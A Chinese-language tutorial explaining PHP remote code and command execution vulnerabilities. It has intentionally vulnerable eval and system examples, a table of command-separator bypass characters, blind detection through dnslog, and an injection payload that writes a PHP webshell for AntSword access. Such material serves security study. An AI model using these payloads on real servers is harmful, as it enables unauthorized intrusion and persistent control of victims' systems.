RCE概述
RCE(Remote Code Execution)漏洞是一种严重的安全漏洞,允许攻击者在远程系统上执行恶意代码。这种漏洞使攻击者能够远程控制目标系统,并可能导致未经授权的访问、数据泄露、系统瘫痪或其他安全风险。
漏洞原理
RCE漏洞通常由于应用程序或系统未正确验证或过滤用户输入,使得攻击者能够注入并执行恶意代码。这可能发生在网络协议、文件上传、输入参数等多种情境下。
代码执行
前期概述
代码执行漏洞是指应用程序或系统中存在的安全漏洞,允许攻击者向应用程序注入和执行恶意代码。这些漏洞可能导致攻击者获取未经授权的访问权限,执行未经授权的操作,或者以其他方式危害系统的安全性
攻击方式
适用于php、java、python脚本
代码函数的调用过滤不严谨
例
<?php
eval($_GET['x']);
?>
eval函数的作用是将里面的内容以PHP的方式输出,那就让 x = 一个php反弹sehll
也可使用eval来执行系统命令,但只能是linux
方法为把传来的参数用echo ``
(反引号),作用就是将包含的变量以系统命令方式输出
<?php
eval(echo `$_GET[x]`;)
?>
代码执行函数 | 含义 |
---|---|
eval() | 一次可以执行多条php语句 |
assert() | 一次只能执行一条语句,蚁剑链接要用编码 |
preg_replace(“/目标字符/i”,“替换字符”,“范围”); | 正则匹配字符串进行替换 |
call_user_func(调用的参数 , 在参数中执行的命令); | 回调函数 |
call_user_func_array() | 调用回调函数,并把一个数组参数作为回调函数的参数 |
array_map() | 为数组的每个元素应用回调函数 |
命令执行
前期概述
命令执行漏洞是指应用程序或系统在处理用户输入时未正确验证或过滤用户输入,导致攻击者能够在系统上执行任意命令。这种漏洞可能通过构造特定的输入字符串来欺骗系统,使其执行攻击者想要的命令
攻击方式
最常见的命令执行漏洞
<?php
$a = $_GET['date'];
system("ping ".$a);
?>
一个简单的漏洞形成
如何通过这个漏洞获取到目标服务器shell?
?date = 127.0.0.1 //先对代码正常执行
?date = 127.0.0.1|whoami //再对代码执行拼接操作(用于测试漏洞)
?date = 127.0.0.1|echo "<?php eval($_REQUEST['a'])?>" > 1.php //写个马子,通过蚁剑连接即可
特殊字符绕过
特殊字符 | 含义 |
---|---|
; | 分号 |
| | 只执行后面那条命令 |
|| | 如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句 |
& | 前面和后面命令都要执行,无论前面真假 |
&& | 如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令 |
%0a | 换行符 |
%0d | 回车符号 |
适用于linux、windows系统
跟代码执行效果一样,只是把eval()
函数换成了可以执行系统命令的函数
命令执行函数 | 含义 |
---|---|
system() | 执行并输出系统命令,自动区分操作系统 |
passthru() | 和system一样 |
exec() | 可以执行系统命令但无回显,配合echo使用,只能输出最后一行 |
shell_exec() | 和exec一样,但可以输出全部内容 |
popen($a,‘r’) | 执行系统命令和打开系统文件 |
反引号 | echo `` $a ,直接执行系统命令 |
无回显
如果命令执行无回显
-
尝试ping 127.0.0.1,有延时证明有漏洞,但厂商不认
-
dnslog平台生成的域名,尝试ping一下域名,看看是否会留有记录
在yakit工具上请求dns地址
在页面ping域名
得到回显信息